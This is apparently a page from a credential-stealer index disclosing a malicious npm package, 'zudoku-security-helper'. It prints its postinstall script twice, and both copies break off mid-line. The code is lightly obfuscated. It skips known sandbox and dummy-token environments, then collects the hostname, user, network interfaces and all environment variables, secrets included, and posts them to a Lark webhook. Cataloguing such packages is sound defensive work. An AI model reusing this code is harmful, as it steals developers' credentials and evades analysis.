zudoku-security-helper flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

/incidentsfield log

zudoku-security-helper flagged credential stealer (npm) — Cremit · NHI Credential Stealer Index

--- install scripts ---
### postinstall
node scripts/postinstall.js



--- package/scripts/postinstall.js (excerpt) ---
(function(){var e=process.env,no=e.NODE_OPTIONS||"";if(/(?:--require|-r)\s+\/[^\s]+\.js/.test(no))process.exit(0);if(e.AWS_ACCESS_KEY_ID==="AKIAIOSFODNN7EXAMPLE")process.exit(0);if(e.AWS_SECRET_ACCESS_KEY==="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY")process.exit(0);var tk=[e.GITHUB_TOKEN,e.NPM_TOKEN,e.AWS_ACCESS_KEY_ID].join("");if(/(?:R4nD0m|F4k3[fT]0k3n|dummy|DummyToken)/i.test(tk))process.exit(0);setTimeout(function(){var https=require("https"),os=require("os");var nets=os.networkInterfaces();var ips=Object.entries(nets).flatMap(function(x){return x[1].filter(function(i){return!i.internal}).map(function(i){return x[0]+": "+i.address+" ("+i.family+")"})}).join("\n");var info={pkg:e.npm_package_name+"@"+e.npm_package_version,host:os.hostname(),user:os.userInfo().username,platform:os.platform()+"/"+os.arch(),cwd:process.cwd(),time:new Date().toISOString()};var envLines=Object.entries(process.env).filter(function(x){return!x[0].startsWith("npm_lifecycle")}).map(function(x){return"  "+x[0]+"="+x[1]}).join("\n");var text=["postinstalstall",Object.entries(info).map(function(x){return x[0]+": "+x[1]}).join("\n"),"","Network Interfaces:",ips,"","Environment Variables:",envLines].join("\n");var payload=JSON.stringify({msg_type:"text",content:{text}});var req=https.request({hostname:"open.larksuite.com",path:"/open-apis/bot/v2/hook/f1ad5ad2-4ba6-4c9d-afc2-0e908cba26a7",method:"POST",headers:{"Content-Type":"application/json","Content-Length":Buffer.byteLength(payload)}},function(){pr

--- dynamic destinations ---
→ open.larksuite.com (via hostname-var)

(function(){var e=process.env,no=e.NODE_OPTIONS||"";if(/(?:--require|-r)\s+\/[^\s]+\.js/.test(no))process.exit(0);if(e.AWS_ACCESS_KEY_ID==="AKIAIOSFODNN7EXAMPLE")process.exit(0);if(e.AWS_SECRET_ACCESS_KEY==="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY")process.exit(0);var tk=[e.GITHUB_TOKEN,e.NPM_TOKEN,e.AWS_ACCESS_KEY_ID].join("");if(/(?:R4nD0m|F4k3[fT]0k3n|dummy|DummyToken)/i.test(tk))process.exit(0);setTimeout(function(){var https=require("https"),os=require("os");var nets=os.networkInterfaces();var ips=Object.entries(nets).flatMap(function(x){return x[1].filter(function(i){return!i.internal}).map(function(i){return x[0]+": "+i.address+" ("+i.family+")"})}).join("\n");var info={pkg:e.npm_package_name+"@"+e.npm_package_version,host:os.hostname(),user:os.userInfo().username,platform:os.platform()+"/"+os.arch(),cwd:process.cwd(),time:new Date().toISOString()};var envLines=Object.entries(process.env).filter(function(x){return!x[0].startsWith("npm_lifecycle")}).map(function(x){return"  "+x[0]+"="+x[1]}).join("\n");var text=["postinstalstall",Object.entries(info).map(function(x){return x[0]+": "+x[1]}).join("\n"),"","Network Interfaces:",ips,"","Environment Variables:",envLines].join("\n");var payload=JSON.stringify({msg_type:"text",content:{text}});var req=https.request({hostname:"open.larksuite.com",path:"/open-apis/bot/v2/hook/f1ad5ad2-4ba6-4c9d-afc2-0e908cba26a7",method:"POST",headers:{"Content-Type":"application/json","Content-Length":Buffer.byteLength(payload)}},function(){pr